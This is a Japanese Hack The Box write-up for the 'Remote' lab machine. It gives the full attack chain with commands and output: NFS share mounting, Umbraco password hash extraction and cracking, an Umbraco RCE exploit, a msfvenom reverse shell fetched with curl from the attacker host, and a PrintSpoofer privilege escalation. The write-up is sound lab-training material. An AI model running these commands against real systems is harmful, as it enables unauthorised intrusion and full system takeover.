Hack The Box: Remoteのwriteup。
nmapのスキャン結果を待っている間、ブラウザで標的マシンにアクセスしたところ、ウェブサイトが表示された。
で、Contactタブ -> GO TO BACK OFFICE AND INSTALL FORMS ボタンをクリックしたところ、Umbracoのログインページ http://10.129.230.172/umbraco/#/login/false?returnPath=%252Fforms
へと遷移した。
そうこうしているうちにnmapのスキャンが完了した。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 07:58 EST
Nmap scan report for 10.129.230.172
Host is up (0.47s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind?
| rpcinfo:
| program version port/proto service
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
|_ 100003 2,3,4 2049/tcp6 nfs
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open nfs 2-4 (RPC #100003)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-12-28T14:00:35
|_ start_date: N/A
|_clock-skew: 59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 494.12 seconds
まず目についたのは21番ポート (FTP)だった。anonymousユーザーとしてFTPサービスに接続できたが、ファイルやディレクトリなど、見るべきものが何もなかった。
└─$ ftp $RHOST
Connected to 10.129.230.172.
220 Microsoft FTP Service
Name (10.129.230.172:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49687|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> dir
229 Entering Extended Passive Mode (|||49688|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> ls -la
229 Entering Extended Passive Mode (|||49689|)
150 Opening ASCII mode data connection.
226 Transfer complete.
ftp> pwd
Remote directory: /
ftp>
続いて目を引いたのが2049番ポート (NFS)である。
showmountコマンドで確認したところ、/site_backups
というフォルダを発見。(コマンドはこちらを参考にした。)
└─$ showmount -e $RHOST
Export list for 10.129.230.172:
/site_backups (everyone)
さっそく、ローカルに/mnt/HTB_Remote
というディレクトリを用意して、/site_backups
をマウントしてみた。
sudo mkdir /mnt/HTB_Remote
sudo mount -t nfs $RHOST:/site_backups /mnt/HTB_Remote -o nolock
└─$ ls -la /mnt/HTB_Remote
total 123
drwx------ 2 nobody nogroup 4096 Feb 23 2020 .
drwxr-xr-x 3 root root 4096 Dec 28 08:20 ..
drwx------ 2 nobody nogroup 64 Feb 20 2020 App_Browsers
drwx------ 2 nobody nogroup 4096 Feb 20 2020 App_Data
drwx------ 2 nobody nogroup 4096 Feb 20 2020 App_Plugins
drwx------ 2 nobody nogroup 64 Feb 20 2020 aspnet_client
drwx------ 2 nobody nogroup 49152 Feb 20 2020 bin
drwx------ 2 nobody nogroup 8192 Feb 20 2020 Config
drwx------ 2 nobody nogroup 64 Feb 20 2020 css
-rwx------ 1 nobody nogroup 152 Nov 1 2018 default.aspx
-rwx------ 1 nobody nogroup 89 Nov 1 2018 Global.asax
drwx------ 2 nobody nogroup 4096 Feb 20 2020 Media
drwx------ 2 nobody nogroup 64 Feb 20 2020 scripts
drwx------ 2 nobody nogroup 8192 Feb 20 2020 Umbraco
drwx------ 2 nobody nogroup 4096 Feb 20 2020 Umbraco_Client
drwx------ 2 nobody nogroup 4096 Feb 20 2020 Views
-rwx------ 1 nobody nogroup 28539 Feb 20 2020 Web.config
FTPの時とは異なり、こちらはちゃんと見るべきデータがある模様。恐らく、この中から先述したUmbracoのログイン認証情報を窃取するのであろう。
調べているうちにApp_Data
の中にUmbraco.sdf
というファイルを発見した。どうやらUmbraco.sdf
というのはUmbracoのデータベースファイルらしい。ファイルをstringsにかけたところ、adminのパスワードハッシュ値らしきものを見つけた。
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
SHA1ハッシュ値b8be16afba8c314ad33d812f22a04991b90e2aaa
をクラックしたところ、baconandcheese
というパスワードが現れた。
hashcat -m 100 b8be16afba8c314ad33d812f22a04991b90e2aaa /usr/share/wordlists/rockyou.txt
b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
Hash.Target......: b8be16afba8c314ad33d812f22a04991b90e2aaa
Time.Started.....: Sat Dec 28 08:56:04 2024 (10 secs)
Time.Estimated...: Sat Dec 28 08:56:14 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1012.5 kH/s (0.21ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9824256/14344385 (68.49%)
Rejected.........: 0/9824256 (0.00%)
Restore.Point....: 9822208/14344385 (68.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: badboi56 -> bacninh_kc
Hardware.Mon.#1..: Util: 41%
Started: Sat Dec 28 08:55:49 2024
Stopped: Sat Dec 28 08:56:15 2024
admin@htb.local:baconandcheese
でUmbracoの管理ページにログインできた。
管理ページより、Umbracoのバージョンは7.12.4と判明。このバージョンには遠隔コード実行の脆弱性があるので、これを突けば標的マシンに初期侵入できそうである。
searchsploitでエクスプロイトコードをコピー。
searchsploit umbraco
searchsploit -m aspx/webapps/49488.py
エクスプロイトを実行。
└─$ python 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'ipconfig'
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::32
IPv6 Address. . . . . . . . . . . : dead:beef::f0d5:9459:a665:f822
Link-local IPv6 Address . . . . . : fe80::f0d5:9459:a665:f822%12
IPv4 Address. . . . . . . . . . . : 10.129.230.172
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:cc99%12
10.129.0.1
└─$ python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'whoami'
iis apppool\defaultapppool
└─$ python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'whoami' -a '/priv'
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
ipconfig
やwhoami
コマンドの実行に成功しているのが分かる。
より対話的にコマンドを実行したいので、リバースシェルを仕込むことにした。
攻撃マシンにてリバースシェルを作成し、HTTPサーバーを起動。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.174 LPORT=53 -f exe > shell64-nonstaged.exe
python3 -m http.server 80
標的マシンにリバースシェルを仕込む。
python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'curl' -a 'http://10.10.16.174/shell64-nonstaged.exe -o c:\\windows\\temp\\shell64-nonstaged.exe'
攻撃マシンにてポートを待ち受け状態にする。
rlwrap nc -nvlp 53
標的マシンから攻撃マシンへシェルを張る。
python3 49488.py -u admin@htb.local -p baconandcheese -i http://$RHOST -c 'powershell' -a 'start-process -filepath c:\\windows\\temp\\shell64-nonstaged.exe'
攻撃マシンにてシェルが起動した。
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.230.172] 49704
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\windows\system32\inetsrv>hostname
hostname
remote
C:\Users\Public\Desktop
にてuser.txt
を発見。
PS C:\Users> Get-ChildItem -Path C:\ -Include user.txt -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include user.txt -File -Recurse -ErrorAction SilentlyContinue
Directory: C:\Users\Public\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/28/2024 8:57 AM 34 user.txt
あとは権限昇格してrootのフラグを取るだけである。
ユーザーの権限レベルを確認したところ、SeImpersonatePrivilegeが有効化されていた。
c:\Users>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PrintSpooferであっさり権限昇格できた。c:\Users\Administrator\Desktop
にてroot.txt
を発見。
cd c:\windows\temp
curl http://10.10.16.174/PrintSpoofer.exe -o PrintSpoofer.exe
PrintSpoofer.exe -i -c cmd
c:\Windows\Temp>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd c:\users\administrator\desktop
cd c:\users\administrator\desktop
c:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D582-9880
Directory of c:\Users\Administrator\Desktop
02/20/2020 02:41 AM <DIR> .
02/20/2020 02:41 AM <DIR> ..
12/28/2024 08:57 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 13,298,536,448 bytes free